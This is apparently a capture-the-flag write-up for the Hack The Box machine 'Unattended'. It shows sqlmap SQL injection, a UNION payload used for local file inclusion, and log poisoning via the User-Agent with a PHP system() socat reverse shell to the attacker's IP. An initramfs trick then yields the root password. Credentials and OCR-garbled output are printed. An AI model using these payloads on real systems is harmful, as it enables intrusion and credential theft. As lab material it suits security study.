Unattended – 10.10.10.126

Full portscan:

Machine generated alternative text:
nmap -pn -p- 
starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 03:12 EDT 
Nmap scan report for 10.10.10.126 
Host is up (0.039s latency). 
Not shown: 65533 filtered ports 
p ORT 
STATE SERVICE 
80/tcp open http 
443/tcp open https 
10.10. 10.126

Full scan:

Machine generated alternative text:
nmap -sc -sv 
starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 03:41 EDT 
Nmap scan report for unattended.htb (10.10.10.126) 
Host is up (0.045s latency) . 
SERVICE VERSION 
http 
nginx 1.10.3 
I http-server-header: nginx/l. 10.3 
Site doesn't have a title (text/html). 
ssl/http nginx 1.10.3 
l_http-server-header: nginx/1.10.3 
Site doesn't have a title (text/html) . 
-Pn 
-p80,443 unattended . htb 
PORT 
80/tcp 
STATE 
open 
I http-title: 
443/tcp open 
I http-title: 
I ssl-cert: Subject: commonName=wvm. nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceNa 
me—IT/ count ryName=IT 
I Not valid before: 
I Not valid after: 
warning: osscan results may be unreliable because we could not find at least 1 open and 1 closed port 
Aggressive os guesses: Linux 3.16 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (9 
2%), Linux 3.16 (92%), Linux 3.16 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 
4.9 (92%), Linux 3.8 
- 3.11 
(92%), Linux 4.2 (92%) 
No exact OS matches for host (test conditions non-ideal) . 
Network Distance: 2 hops 
TRACEROUTE (using port 80/tcp) 
HOP RTT 
ADDRESS 
1 
39.75 ms 10.10.14.1 
55.12 ms unattended. htb (10.10.10.126) 
2 
OS and service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 36.50 seconds

Dirb scan:

After some spidering we ended up on webpage https://www.nestedflanders.htb/index.php?id=587

We tried SQLi and found some:

sqlmap -u “https://www.nestedflanders.htb/index.php?id=587” -p id –risk=3 –level=5 –dbs

Machine generated alternative text:
[03:49: 121 [INFO] the back-end DBMS is MYSQL 
web application technology: Nginx 1.10.3 
back-end DBMS: MYSQL 5.0. 12

available databases [2]: 

[*] information_schema 

[*] neddy

Let’s get some tables out of these database

sqlmap -u “https://www.nestedflanders.htb/index.php?id=587” -p id –risk=3 –level=5 –dbs –current-user –is-dba –current-db –hostname –dump –threads 5 

Interesting output of config table;

| 70 | ftp_host | 127.0.0.1 | | 71 | ftp_port | 21 | | 72 | ftp_user | flanders | | 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 | | 74 | ftp_root | / | | 75 | ftp_enable | 1 |

Database: neddy Table: filepath [3 entries] +———+————————————–+ | name | path | +———+————————————–+ | about | 47c1ba4f7b1edf28ea0e2bb250717093.php | | contact | 0f710bba8d16303a415266af8bb52fcb.php | | main | 787c75233b93aa5e45c3f85d130bfbe7.php | +———+————————————–+

While the sqlamp is running we are looking up some more information.

Someone recommended this link for the box so we decided to check it out

Click to access us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

Okay so we gotta find an LFI I think and execute code with that

Try find LFI… how did SQLMap used the Injection?

https://www.nestedflanders.htb/index.php?id=25

Using union select statement

Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind – WHERE or HAVING clause Payload: id=587′ AND 3333=3333– eceH Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=587′ AND (SELECT 7305 FROM (SELECT(SLEEP(5)))wyHV)– aYiT

This is the payload from SQLMap

Own payload: 

https://www.nestedflanders.htb/index.php?id=25%27+UNION+SELECT+%22contact%27+UNION+SELECT+%27/etc/passwd%27+LIMIT+1,1;–%20%22;–%20

www•data:x:33:33:ww.v.data:Jvar 
twwwr]bin]bash List 
Bug-Reporting System 
Time Synchronization, Network 
Resolver„, Bus 
Server.. ,

https://www.nestedflanders.htb/index.php?id=25%27+UNION+SELECT+%22contact%27+UNION+SELECT+%27php://filter/convert.base64-encode/resource=index.php%27+LIMIT+1,1;–%20%22;–%20

Here we got returned some base64 encoded value, when we decode we get

<?php

$servername = “localhost”;

$username = “nestedflanders”;

$password = “1036913cf7d38d4ea4f79b050f171e9fbf3f5e”;

$db = “neddy”;

$conn = new mysqli($servername, $username, $password, $db);

$debug = False;

include “6fb17817efb4131ae4ae1acae0f7fd48.php”;

function getTplFromID($conn) {

global $debug;

$valid_ids = array (25,465,587);

if ( (array_key_exists(‘id’, $_GET)) && (intval($_GET[‘id’]) == $_GET[‘id’]) && (in_array(intval($_GET[‘id’]),$valid_ids)) ) {

$sql = “SELECT name FROM idname where id = ‘”.$_GET[‘id’].”‘”;

} else {

$sql = “SELECT name FROM idname where id = ’25′”;

}

if ($debug) { echo “sqltpl: $sql<br>\n”; } 

$result = $conn->query($sql);

if ($result->num_rows > 0) {

while($row = $result->fetch_assoc()) {

$ret = $row[‘name’];

}

} else {

$ret = ‘main’;

}

if ($debug) { echo “rettpl: $ret<br>\n”; }

return $ret;

}

function getPathFromTpl($conn,$tpl) {

global $debug;

$sql = “SELECT path from filepath where name = ‘”.$tpl.”‘”;

if ($debug) { echo “sqlpath: $sql<br>\n”; }

$result = $conn->query($sql);

if ($result->num_rows > 0) {

while($row = $result->fetch_assoc()) {

$ret = $row[‘path’];

}

}

if ($debug) { echo “retpath: $ret<br>\n”; }

return $ret;

}

$tpl = getTplFromID($conn);

$inc = getPathFromTpl($conn,$tpl);

?>

<!DOCTYPE html>

<html lang=”en”>

<head>

  <title>Ne(ste)d Flanders</title>

  <meta charset=”utf-8″>

  <meta name=”viewport” content=”width=device-width, initial-scale=1″>

  <link rel=”stylesheet” href=”bootstrap.min.css”>

  http://jquery.min.js

  http://bootstrap.min.js

</head>

<body>

  

$sql = “SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = ‘0’ order by i.id”;

if ($debug) { echo “sql: $sql
\n”; }

$result = $conn->query($sql);

if ($result->num_rows > 0) {

while($row = $result->fetch_assoc()) {

//if ($debug) { echo “rowid: “.$row[‘id’].”
\n”; } // breaks layout

echo ‘

}

} else {

?>

<?php

}

?>

</div> <!– row –>

</div> <!– container –>

<!–

include(“$inc”);

?>

<!– –> –>

</div> <!– row –>

</div> <!– container –>

<?php if ($debug) { echo “include $inc;<br>\n”; } ?>

</body>

</html>

<?php

$conn->close();

?>

Another one

<?php

session_start();

if (isset($_SESSION[‘user_name’])){

$user_name = $_SESSION[‘user_name’];

}

foreach ($_COOKIE as $key => $val) {

$_SESSION[$key] = $val;

}

/* removed everything because of undergoing investigation, please check dev and staging */

Now we that we have legit LFI we better start looking at a method to transfer this in RCE.

Those slides have good information: slide 64 is this

<body class=”container”>

https://www.nestedflanders.htb/47c1ba4f7b1edf28ea0e2bb250717093.php?name=test

result:

Hello test,
our Company is world wide leading expert about Nesting stuff.
We can nest almost everything after or before anything based on your needs.
Feel free to contact us with usual email addresses, our contact form is currently offline because of a recent attack. 
Our name here got used. Maybe we can inject a malicious name

Played with it but nothing came out yet

https://www.nestedflanders.htb/index.php?id=25%27+UNION+SELECT+%22contact%27+UNION+SELECT+%27/var/log/nginx/access.log%27+LIMIT+1,1;–%20%22;–%20

–> browse to it, capture the packet and modify user agent with a revshell: <?php system(‘<code>’)?> then let the packet go with the flow.

 .

<?php system(‘socat tcp-connect:10.10.14.16:443 exec:sh,pty,stderr,setsid,sigint,sane’);?> –> this worked

<?php system(“socat tcp-connect:10.10.14.16:443 exec:sh,pty,stderr,setsid,sigint,sane”);?>

We chose port 443 because the other ports were not available

So after we setup our listener on that port we can send the malicious packet.

index. 
Host: htb 
User-Agent: NozilLa/S.O Ophp 
pt", Firefox'60.O 
Accept: te.t/html 
cookie; 
Connection;

Because it is only executed when called upon the page we must execute another 

We chose to execute a simple ls to not be in conflict with our revshell

_ php' log/ngin"access. 
Host: htb 
Ophp firefox,'60.ø 
Accept: 
-Language: 
deflate 
cookie; 
Connection; 
Upgrade •Insecure •Requests:

Now we have caught  a shell as www-data.

nc - I vp 443 
listening On (any) 443 
connect to (10.10.14.161 from unattended.htb 35762 
sh: can't access tty; job control 
ef710bba8d16303a415266af8bb52fcb 
47c1ba4f7b1edf28eaoe2bb250717093 
6fb17817efb4131ae4ae1acaeof7fd48 
7B7c75233b93aase45c3f85d130bfbe7 
787c75233b93aase45c3t85d139btbe7 
bootstrap. min. css 
$ whoami 
whoami 
.php 
.php 
.php 
-gif 
.php 
turned off 
bootstrap.min.js 
index . html 
index . nginx- debian . html 
index . php 
j query. min. js

We can’t cd into the users home directory yet so we need a little priv esc to do so. Let’s hunt it

Using creds we found earlier we got into the database neddy (password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e)

Machine generated alternative text:
$ mysql -D neddy -u nestedflanders -p 
mysql -D neddy -u nestedflanders -p 
Enter password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e 
Reading table information for completion of table and column names 
you can turn off this feature to get a quicker startup with -A 
Welcome to the MariaDB monitor. 
Commands end with 
or \g. 
Your MariaDB connection id is 18 
Server version: 10.1.37 -MariaDB-O+deb9u1 Debian 9.6 
copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. 
Type 'help; ' 
or '\h' for help. Type ' \ c ' to clear the current input statement. 
IMariaDB [neddy]> help

Password is from the config file.

In here we alter a line in the config table to get our reverse shell with higher privileges.

After we change we get our reverse shell as guly and thus user flag

nc - Ivp 443 
listening on lanyl 443 . 
connect to 161 from unattended.htb [10. 10.1261 5452.1 
jsh: O: can't access t t y; job control turned Off 
S whoami 
uh oami
S cat user.txt 
cat user.txt 
9b413t37c8d2141e3Bee2B27170eet1•' 
1

9b413f37c8d2141e38ee2827170eef14

ONTO ROOT

Let’s first upgrade our crappy shell to a better, more responsive one using perl

Machine generated alternative text:
$ perl -e 'exec " /bin/bash" ' 
perl -e 'exec /bin/bash"' 
bash: cannot set terminal process group (8284) : 
bash: no job control in this shell 
Inappropriate ioctl for device

Executed LinEnum and pspy32 on it.

Did not see much so looked around and asked around.

Grub came into notice and I decided to check that out

https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562

`

attackers could gain access to a root initramfs (initial RAM file system) shell by pressing the ‘enter’ key 93 times on vulnerable Linux systems (Marco & Ripoll, 2016). This vulnerability occurs because of a flaw in the password check function of the file © 2017 The SANS Institute, Author Retains Full Rights© 2017 The SANS InstituteAuthor retains full rights. Attack and Defend: Linux Privilege Escalation Techniques of 201615 Michael C. Long II, mrlong0124@gmail.com “/scripts/local-top/cryptroot/” which is part of the Cryptsetup utility. The Cryptsetup utility is the standard implementation of disk encryption on Linux-based systems. The subject flaw pertains to how the Cryptsetup utility processes repeat password failures. When a user exceeds the maximum number of password attempts, the boot sequence continues; however, the calling script, “/scripts/local” handles the authentication error as if it were caused by a slow device that requires more time to warm up. The booting scripts then try to recover or remount the “failing” device. After this process occurs about 93 times (on x86), a transient hardware fault is reached. At this point, the top level script is not aware of the root cause of the fault and drops the user in a root shell

`

`

It is important to note that the hard drive is still encrypted as the attacker does not have the LUKS password. However, attackers can still introduce root owned SUID binaries into non-encrypted partitions, such as the boot partition. They can then log in with low privilege credentials, execute the SUID binary, and escalate to root, thereby compromising the system

`

Did a search on crypsetup as the document suggested

  • Find / -name cryptosetup

/usr/share/initramfs-tools/conf-hooks.d/cryptsetup

/usr/share/lintian/overrides/cryptsetup

/usr/share/doc/cryptsetup

/usr/share/bug/cryptsetup

/usr/share/cryptsetup

/lib/cryptsetup

/sbin/cryptsetup

52 
-xr-x 14 
-rwxr-xr-x 
drwxr-xr-x 
Is •la 
total 
d rwxr 
d rwxr 
-rw-r- 
4 
root 
root 
I root 
2 root 
I root 
rant 
root 
root 
root 
root 
root 
r nnt 
4096 
4096 
14504 
4096 
19177 
Dec 
Dec 
May 
Dec 
May 
20 
20 
20 
20 
2018 . 
2018 . 
askpass 
2017 
checks 
2018 
cryptdisks. functions 
2017 
2mR 
scriots

Interesting directory

  • dpkg –list | grep cryptsetup

Found something about GRUB and gonna try

https://www.howtogeek.com/196655/how-to-configure-the-grub2-boot-loaders-settings/

See how far we can get with this

Cd /boot/grub/

Cat grub.cfg

else 
search 
- -no-floppy - 
-fs-uuid 
--set=root Idf5fdee-952b-4a4a-9117- 7ebda86cf9ee 
echo 
Linux 
echo 
initrd 
•Loading Linux 4.9. 0-8-amd64 
ro single 
•Loading initial ramdisk . 
/initrd.img-4.9.e-8-arnd64

Seems to be running these files

We gotta do something with the img file tho

In our search how we came across this file: 

/usr/share/initramfs-tools/scripts/local-top/cryptroot

Here is a little code snippet:

guly: we have to deal with lukfs password sync when root changes her one if ! crypttarget=”$crypttarget” cryptsource=”$cryptsource” \ /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then message “cryptsetup: cryptsetup failed, bad password or options?” sleep 3 continue

So if we can run the uinitrd file with that value behind it would return the right password. Seems like pretty weird code to me

For this to run we WILL need that .img file.

https://manpages.ubuntu.com/manpages/bionic/man8/mkinitramfs.8.html

Using this we could extract it to home folder:

unmkinitramfs /boot/initrd.img-$(uname -r) /home/guly/

unmkinitramts 'boot/ initrd. 
unmkinitramts /boot/initrd. 'home/guly/ 
cd 'home/guly/ 
cd /home/guly/ 
•r) /home/guly,' 
bin 
boot 
checkplugins . pt 
conf 
etc 
init 
tib 
lib64 
LinEnum.sh 
I inuxprivchecker. py 
nohuo out 
pspy32 
rival 
sbin 
scripts

Let’s see if we can make that uinitrd run over here.

Machine generated alternative text:
-/sbin/uinitrd com3s3foss34nt4n1 
132f93ab100671dcb263acaf5dc95d8260e8b7c6gu1Y@unattended : -$

We see a value returned, let’s see if it’s the password.

Password: 132f93ab1ee671dcb263acaf5dc95d826ee8b7c6 
bash: cannot set terminal process group (12529): Inappropriate ioctl for device 
bash: no job control in this shell
cat root. txt 
cat root . txt

559c0e00045bea4b7ce2d2f88e0791d3

ROOT!!!

Leave a comment